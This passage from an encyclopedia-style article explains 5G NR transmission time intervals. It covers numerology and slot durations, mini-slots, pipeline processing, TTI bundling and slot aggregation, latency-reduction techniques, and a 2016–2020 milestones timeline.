By using different SCS in 5G NR, different slot durations and TTIs are configurable. For example, 15kHz SCS with 14 symbols spanning the entire subframe corresponds to LTE's configuration. At 240kHz SCS (for control only), 14 symbols are squeezed into a 62.5µs slot. In Release 16, 120kHz is the maximum SCS allowed for data. Hence, the lowest achievable slot duration is 125µs. At 60kHz, there's an option to use extended cyclic prefix (CP), thus limiting the slot duration to 12 symbols.

Unfortunately, as SCS increases, CP decreases. This means that in deployments where there's a long delay spread, CP will not offer sufficient protection against inter-symbol interference (ISI). Thus, reducing TTI by increasing SCS is not always possible. It's for this reason 5G NR also allows for **mini-slot** transmissions.

With mini-slots, a TTI can be as small as 2, 4 or 7 symbols. For example, at 30kHz SCS, the corresponding durations are about 70µs, 140µs and 250µs. Thus, we can cater to URLLC use case even at a lower SCS.

### Could you explain pipeline processing in relation to 5G NR TTI and TB?

MAC sublayer sends a transport block (TB) to PHY for transmission every TTI. At the receiving side, MAC layer can't process the TB until it's fully received. In extreme cases, a TB can have more than a million bits.

A method to reduce the processing delay is to break up the TB into **code blocks**. Each code block independently goes through channel coding and rate matching. This feature, which also exists in LTE, is called *code block segmentation*.

To distribute the processing across time, code blocks are mapped to different OFDM symbols. Processing can be decoupled from TTI duration. Processing can start as soon as a code block is received and happen in parallel with next code block reception. This is called **pipeline processing**. Ultimately, this reduces the processing time at the receiver.

Pipeline processing is possible because time-domain interleaving is not done. Mapping of bits to resource blocks is also done on a frequency-first manner.

### What's TTI bundling in 5G NR?

TTI bundling is when the same TB is transmitted across multiple TTIs. This is done for the sake of redundancy and higher chance of successful transmission. For some time-critical services such as voice, delayed HARQ retransmissions are not useful. By pre-emptively transmitting multiple copies of the same data, quality is improved.

TTI bundling reduces retransmissions and round trip time. It may be useful towards UEs that are the cell edge.

TTI bundling exists in LTE and is not new to 5G NR.

5G NR standard doesn't often use the term TTI bundling. Instead, **slot aggregation** is a more common term. The feature is enabled via RRC signalling. RRC Information Elements (IEs) `pdsch-AggregationFactor` and `pusch-AggregationFactor` signal the number of repetitions, which can be 2, 4 or 8.

### Besides TTI, what are other techniques in 5G NR design that reduce latency?

Besides shorter TTI via numerology and use of mini-slot TTI, other ways to reduce latency include frequency transmission opportunities to minimize wait time, shorter processing time via pipeline processing, grant-free UL transmission and flexible TDD frame structure.

**DMRS is front loaded**, that is, it comes at the start of frame. A UE can therefore start channel estimation and decoding at the earliest.

To enable quick HARQ feedback, 5G NR uses a **self-contained subframe structure**. A subframe contains DL control, DL data, guard period and UL control. Thus, ACK/NACK for DL data can be sent in the same subframe. A similar self-contained uplink-centric subframe exists.

Multiple code blocks are grouped into a **Code Block Group (CBG)**. If there's an error, only that CBG is retransmitted, not the entire TB.  With fewer bits, errors at CBG are less likely than at TB. Moreover, **slot aggregation** tries to minimize retransmissions.

For channel coding, 5G NR uses Low-Density Parity Check (LDPC). LDPC has a highly **parallelizable decoder**, thus reducing processing time.

## Milestones

Mar
2016

Durisi et al. note that some use cases such as Machine-to-Machine (M2M) communications send **short packets**. Likewise, there are use cases that require low latency. Given these requirements, they propose performance metrics and protocols more suited for short packets.

Jun
2016

A proposal by Ericsson identifies **shortened TTI and processing time for LTE**. From its beginning in Release 8 to the most recent Release 13, LTE has focused on increasing data rates and no enhancements have come to lower latency. Lower latency will improve TCP throughput and reduce L2 buffer space requirements. Eventually, this proposal is standardized in LTE Release 15.

Apr
2017

Qualcomm files a patent titled *TTI Bundling for URLLC UL/DL Transmissions*. For selected UEs that may benefit from this feature, the base station signals the bundle length. Subsequently, data or control packets are repeated to those UEs. Number of repetitions correspond to signalled bundle length.

Aug
2020

As part of Release 17 work, modifications to TTI bundling are proposed to improve PUSCH coverage. One proposal is to allow repetition across non-consecutive slots. Another is to consider symbol-level repetition.

5G NR Transmission Time Interval